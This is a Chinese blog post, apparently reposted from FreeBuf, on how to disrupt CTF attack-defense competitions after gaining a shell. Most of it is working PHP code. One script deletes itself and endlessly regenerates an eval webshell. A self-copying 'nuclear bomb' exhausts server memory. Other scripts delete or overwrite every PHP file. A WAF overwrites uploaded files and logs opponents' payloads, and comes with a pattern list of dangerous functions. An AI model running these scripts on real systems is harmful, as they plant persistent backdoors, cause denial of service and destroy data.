Virink's Blog logo

Virink's Blog

Let life be beautiful like summer flowers, and death like autume leaves.

 論如何在CTF比賽中攪屎

0x00 前言

不能攪屎的CTF不是好CTF,不能攪屎的題目不是好題目。

我很贊成phithon神的一句話,“比賽就是和他人競爭的過程,通過各種手段阻止對手拿分我覺得也是一種能力。”

你能夠做到別人做不到的,那就是你的本事。

本文所說的攪屎是在GETSHELL的情況下才能進行的!!!遇到phithon師傅的《CTF主辦方指南之對抗攪屎棍》就GG了

0x01 預備知識

大多數能夠攪屎的題目基本上是PHP且需要getshell的。所以,必備的PHP語法基本只是必須要懂~

接下來是介紹一些特殊的PHP內置函數

  • ignoreuserabort()
    • 设置客户端断开连接时是否中断脚本的执行
    • PHP以命令行脚本执行时,当脚本终端结束,脚本不会被立即中止,除非设置 value 为 TRUE,否则脚本输出任意字符时会被中止。
    • ignore_user_abort(1);
  • settimelimit()
    • 设置脚本最大执行时间
    • 设置允许脚本运行的时间,单位为秒。如果超过了此设置,脚本返回一个致命的错误。默认值为30秒,或者是在php.ini的maxexecutiontime被定义的值,如果此值存在。
    • set_time_limit(0);
  • ini_get()
    • 获取一个配置选项的值
    • 成功时返回配置选项的值。
    • echo 'disable_functions='.ini_get('disable_functions');
  • fileputcontents()
    • 将一个字符串写入文件
    • 和依次调用 fopen(),fwrite() 以及 fclose() 功能一样。
    • file_put_contents($filename, $content);
  • filegetcontents()
    • 将整个文件读入一个字符串
    • 和 file() 一样,只除了 filegetcontents() 把文件读入一个字符串。将在参数 offset 所指定的位置开始读取长度为 maxlen 的内容。如果失败,filegetcontents() 将返回 FALSE。
    • 當然這個函數也可以通過其他協議讀取文件內容
    • file_get_contents($filename);
    • file_get_contents($url);
  • unlink()
    • 删除文件
    • 删除 filename。和 Unix C 的 unlink() 函数相似。 发生错误时会产生一个 E_WARNING 级别的错误。
    • unlink($filename);

給你的PHP腳本加上set_time_limit(0);ignore_user_abort(1);這兩句就能夠做的常駐內存了。

對待這種情況,基本上只能重啟PHP了。

0x02 攪屎之不死鳥

nodieshell.php

<?php
    set_time_limit(0);
    ignore_user_abort(1);
    unlink(__FILE__);
    //file_put_contents(__FILE__,'');
    while(1){
        file_put_contents('path/webshell.php','<?php @eval($_POST["password"]);?>');
    }
?>

首先就是刪除自己,不讓別人知道,然後在某一個目錄下循環生成你的webshell,根本刪不掉~~

0x03 攪屎之核彈

nuclear_bomb.php

<?php
    set_time_limit(0);
    ignore_user_abort(true);
    while(1){
        file_put_contents(randstr().'.php',file_get_content(__FILE__));
        file_get_contents("http://127.0.0.1/");
    }
?>

根據代碼,不難看出這個腳本的功能。

常駐內存之後,進入死循環。

循環內部是實現無效複製自身並且訪問web服務的功能。

執行的後果就是內存爆炸,php就GG了,嚴重點的話,Docker也GG。

0x04 攪屎之你死我活

del.php

<?php
    set_time_limit(0);
    ignore_user_abort(1);
    array_map('unlink', glob("some/dir/*.php"));
?>

delorchange.php

<?php
    set_time_limit(0);
    ignore_user_abort(1);
    unlink(__FILE__);
    function getfiles($path){
        foreach(glob($path) as $afile){
            if(is_dir($afile))
                getfiles($afile.'/*.php');
            else
                @file_put_contents($afile,"#Anything#");
                //unlink($afile);
        }
    }
    while(1){
        getfiles(__DIR__);
        sleep(10);
    }
?>

遍曆目錄,得到所有的php文件,然後至於你想改寫內容還是直接刪掉,看心情了。

遍曆目錄的方法很多,但是大多數這些函數都被禁用了(disable_functions)。

偶爾有個別漏網之魚,比如glob~~這個函數比較少見吧。所以這樣就用了它。

如果刪除函數unlink被ban掉~~就改寫咯~~

0x05 攪屎之WAF

感覺這個殺器有點邪惡。對於線下賽來說,近乎於無敵,反正我自己沒有什麼好的方法破解。

噁心人啊。

phpwafandlogto_txt.php

<?php
    error_reporting(0);
    define('LOG_FILENAME','log.txt');
    function waf()
    {
        if (!function_exists('getallheaders')) {
            function getallheaders() {
                foreach ($_SERVER as $name => $value) {
                    if (substr($name, 0, 5) == 'HTTP_')
                        $headers[str_replace(' ', '-', ucwords(strtolower(str_replace('_', ' ', substr($name, 5)))))] = $value;
                }
                return $headers;
            }
        }
        $get = $_GET;
        $post = $_POST;
        $cookie = $_COOKIE;
        $header = getallheaders();
        $files = $_FILES;
        $ip = $_SERVER["REMOTE_ADDR"];
        $method = $_SERVER['REQUEST_METHOD'];
        $filepath = $_SERVER["SCRIPT_NAME"];
        //rewirte shell which uploaded by others, you can do more
        foreach ($_FILES as $key => $value) {
            $files[$key]['content'] = file_get_contents($_FILES[$key]['tmp_name']);
            file_put_contents($_FILES[$key]['tmp_name'], "virink");
        }
        unset($header['Accept']);//fix a bug
        $input = array("Get"=>$get, "Post"=>$post, "Cookie"=>$cookie, "File"=>$files, "Header"=>$header);
        //deal with
        $pattern = "select|insert|update|delete|and|or|\'|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile|dumpfile|sub|hex";
        $pattern .= "|file_put_contents|fwrite|curl|system|eval|assert";
        $pattern .="|passthru|exec|system|chroot|scandir|chgrp|chown|shell_exec|proc_open|proc_get_status|popen|ini_alter|ini_restore";
        $pattern .="|`|dl|openlog|syslog|readlink|symlink|popepassthru|stream_socket_server|assert|pcntl_exec";
        $vpattern = explode("|",$pattern);
        $bool = false;
        foreach ($input as $k => $v) {
            foreach($vpattern as $value){
                foreach ($v as $kk => $vv) {
                    if (preg_match( "/$value/i", $vv )){
                        $bool = true;
                        logging($input);
                        break;
                    }
                }
                if($bool) break;
            }
            if($bool) break;
        }
    }
    function logging($var){
        file_put_contents(LOG_FILENAME, "\r\n".time()."\r\n".print_r($var, true), FILE_APPEND);
        // die() or unset($_GET) or unset($_POST) or unset($_COOKIE);
    }
    waf();
?>

這個WAF在線下攻防賽中,絕對是一個大殺器。

不僅攔截了大多數非法語句,還能記錄所有的攻擊流量,輕鬆得到別人的payload。

不知道主辦方要如何解決這個WAF所存在的問題。

當然,這個WAF應該也不是完美的,還可以添加更多的規則,讓他變得更強!

接下來再說說,在實戰中如何加載這個WAF。

根據權限不同,就有不同的加載方式。

有root權限

那麼,這樣就簡單了,直接寫在配置中。

vim php.ini

auto_append_file = "/dir/path/phpwaf.php"

重啟Apache或者php-fpm就能生效了。

當然也可以寫在 .user.ini 或者 .htaccess 中。

php_value auto_prepend_file "/dir/path/phpwaf.php"

只有user權限

沒寫系統權限就只能在代碼上面下手了,也就是文件包含。

這鐘情況又可以用不同的方式包含。

如果是框架型應用,那麼就可以添加在入口文件,例如index.php,

如果不是框架應用,那麼庫在公共配置文件config.php中包含。

include('phpwaf.php');

還有一種是替換index.php,也就是講index.php改名為index2.php,然後講phpwaf.php改成index.php。

當然還沒完,還要在原phpwaf.php中包含原來的index.php。

index.php -> index2.php

phpwaf.php -> index.php

include('index2.php');

至於你想用哪種方式,看你心情咯,你開心就好。

0x06 結束語

寫這篇文章的目的並不是讓大家都去CTF攪屎,畢竟CTF是一個正規的比賽的地方,有助於我們學習更多的技術以及黑科技。

當然,服務器維護人員也是很辛苦的。

我們暴打出題人就好了,何必為難運維。(出題人就是運維的情況下,例外!!!)

希望大家用正確的心態看這篇文章,“PHP是世界上最好的語言”,能夠挖掘的地方還有很多。

主辦方,表打我欸。

0x07 轉載聲明

本文投稿至 Freebuf 《论如何在CTF比赛中搅“shi”》

本文原创作者:Virink,本文属FreeBuf原创奖励计划,未经许可禁止转载

本文标题 : 論如何在CTF比賽中攪屎
文章作者 : Virink
发布时间 :  
最后更新 :  
本文链接 : https://www.virzz.com/2017/05/25/how_to_fuck_the_ctf.html
转载声明 : 转载请保留原文链接及作者。
转载说明 : 本卡片有模板生成,本人转载来的文章请忽略~~